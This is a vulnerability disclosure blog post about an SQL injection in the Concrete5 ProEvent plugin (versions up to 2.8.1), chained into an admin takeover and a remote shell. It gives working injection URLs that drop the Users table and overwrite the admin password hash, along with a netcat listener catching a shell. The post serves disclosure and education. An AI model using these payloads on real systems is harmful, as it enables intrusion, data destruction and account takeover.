When Security Reports Go Ignored – Hacking Concrete5’s ProEvent Plugin

Apr 14, 2016


In this post I will walk you through the vulnerability discovery in a php plugin. This combined with some interesting side effects in Concrete5 itself, will allow us to develop an exploit to open a remote shell.

SQL Injection Discovery

In January of 2016 I was reviewing the ProEvent Concrete5 plugin that I had purchased and stumbled across a major vulnerability. I notified a developer on the plugin review team who had a relationship with the ProEvent plugin developer. I included two Gists. One showing the issue, the other a patch where I fixed the problem.

Months passed and I forgot about it.

On Monday I was troubleshooting a different bug I had found in Concrete5’s core. But it got me thinking, whatever happened with that SQL injection bug in the ProEvent plugin? I went and downloaded the latest version and grep’d through it. Sure enough, the vulnerability was still there.

I figured the information never was passed along. After reviewing the C5 security reporting page (which has since been updated), there wasn’t a clear path on how to report a plugin vulnerability. So I started a conversation on the forum. I wasn’t thinking it would lead to much drama. More along the lines of what someone should do next time they discover a vuln in a plugin.

What I learned really concerned me. It turns out the plugin developer was notified on February 1st but never acted on the information.


There was also a response on the forums from Portland Labs stating their position on such matters.

“If it’s really bad enough, we’d absolutely pull the listing and jump through some hoops to send an email to people who might have the listing installed.”

As of today the plugin is still available and has been updated with my patch on the marketplace. I don’t know if people will be alerted so I figured I’d take the time to walk through the vulnerability and educate everyone.


You’ll need a Linux LAMP stack setup (Ubuntu 14.04.4 for simplicity)

Install Concrete5


Install ProEvents <=2.8.1


Backup your Database

$ mysqldump -uroot -p c5_pwn > c5.orig.sql
Enter password:

Enable logging and tail the log files

$ cd /etc/mysql
$ sudo vi my.cnf
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file = /var/log/mysql/mysql.log
general_log = 1
backwardselvis@c5:/etc/mysql$ tail -f /var/log/mysql/mysql.log


The root of the issue is a function called eventIs(). As this is a calendaring plugin the function tries to deduce what day of the month an event falls on. It does this by using a sql query.

     * Checks a particular day and returns true or false if an event exists.
    public function eventIs($date, $category, $section = null, $allday = null)
        $categories = explode(', ', $category);
        $category_q = '';
        $query_params = array();
        $i = ;
        if (!in_array('All Categories', $categories)) {
            foreach ($categories as $cat) {
                $cat = str_replace('&', '&', $cat);
                if ($i) {
                    $category_q .= "OR ";
                } else {
                    $category_q .= "AND (";
                $category_q .= "category LIKE '%$cat%' ";
            $category_q .= ")";
        } else {
            $category_q = '';
        if ($section != null) {
            $section = "AND section LIKE '%$section%'";
        } else {
            $section = '';
        if ($allday != null) {
            $allday = "AND allday LIKE '%$allday%'";
        } else {
            $allday = '';
        $db = Loader::db();
        $events = array();
        $q = "SELECT * FROM btProEventDates WHERE DATE_FORMAT(date,'%Y-%m-%d') = DATE_FORMAT('$date','%Y-%m-%d') $category_q $section $allday";
        $r = $db->query($q);

You can see that the query building portion concatenates the variables directly into the SELECT statement. This means that the statement is not prepared. Upon realizing this, I grep through the directory looking for every place this function is called.

$ grep -nr "eventIs(" ./
./src/Models/EventList.php:505:    public function eventIs($date, $category, $section = null, $allday = null)
./views/ajax/pro_event_list/calendar_dynamic.php:118:        if ($el->eventIs($daynum, $ctID, $section) == true) {
./views/ajax/pro_event_list/calendar_responsive.php:156:    $ei = $el->eventIs($daynum, $ctID, $section);
./views/ajax/pro_event_list/calendar_small.php:144:    $ei = $el->eventIs($daynum, $ctID, $section);
./views/ajax/pro_event_list/calendar_small_array.php:160:        $ei = $el->eventIs($daynum, $ctID, $section);

I know that the function is defined in EventList.php so I proceed to dig into _calendardynamic.php. Unfortunately, the values are being pulled from the database and passed to eventIs() so there isn’t any foot hold there.

Moving on.

I open up calendar_small.php and I see the following.

        $sctID = $request->get('sctID');
        $ctID = $request->get('ctID');
        $bID = $request->get('bID');

And further down.

        if ($sctID != 'All Sections') {
          $section = $sctID;

And still further down. And further down.

        $ei = $el->eventIs($daynum, $ctID, $section);

Bingo. The values $ctID and $section are passed to eventIs() with no sanitization.

Upon installation of ProEvents all the routes get created and installed. That means that even if you don’t have the template/view for that part of the plugin activated on a page of your site, you are absolutely still vulnerable. So issuing a request to the _calendarsmall route will work.

Enter this into your browser or use a cli tool.;%20drop%20table%20Users;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true

Makes the following appear in the mysql logs.

SELECT  FROM btProEventDates WHERE DATE_FORMAT(DATE,%Y-%m-%d) = DATE_FORMAT(2016-05-31,%Y-%m-%d) AND (category LIKE %% ) AND SECTION LIKE %; DROP TABLE Users; SELECT  FROM pages WHERE cID =%

And then I can run a quick select.

$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 51
Server version: 5.5.47-0ubuntu0.14.04.1-log (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use c5_pwn;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from users;
ERROR 1146 (42S02): Table 'c5_pwn.Users' doesn't exist

SWEET! I know I can mess with the database.

Now restore the database and lets keep going.

Diving in

After this, it got me thinking, what else can I do? How about setting the password to empty.;%20update%20Users%20set%20uPassword=%27%27%20where%20uName=%27admin%27;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true

mysql> select uName, uEmail, uPassword from Users;
| uName | uEmail             | uPassword |
| admin | jfolkins@gmail.com |           |
1 row in set (0.00 sec)

What if I want to login. Lets take a bcrypted salt/hash from another installation and update the admin user’s.;%20update%20Users%20set%20uPassword=%27$2a$12$zkjyqBpTXbYmjGf7QSgqyeskvNponQ86jMWE1tqv6eCb588/MqS9u%27%20where%20uName=%27admin%27;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true

mysql> select uName, uEmail, uPassword from Users;
| uName | uEmail             | uPassword                                                    |
| admin | jfolkins@gmail.com | $2a$12$zkjyqBpTXbYmjGf7QSgqyeskvNponQ86jMWE1tqv6eCb588/MqS9u |
1 row in set (0.00 sec)

I attempt to login with user = admin and password = concretepwn. I succeed.

Lets go deeper

I can login! But now what? Unfortunately Concrete5 only allows you to download plugins from their marketplace. So unlike wordpress where I could directly manipulate the php files, I don’t appear to be able to do that here. But I do find something interesting.

On the allowed file upload screen I append the php filetype to the end.


Document the URL.


I run the url in the browser.

➜  ~ sudo nc -l 11234
Linux c5 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 18:34:50 up  4:34,  2 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
backward pts/      14:01    1:50m  0.82s  0.02s sshd: backwardselvis [priv]
backward pts/3      16:51    2:10   0.16s  0.16s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: : can't access tty; job control turned off




This shows what you can do when you find one vulnerability. Chaining the other weak points (same password hashing scheme, file uploads executable) allowed me to own a standard LAMP ubuntu install.

It also is a reminder to me that you can’t depend on people to update their code. Best to cast some light on things and get everything out in the open.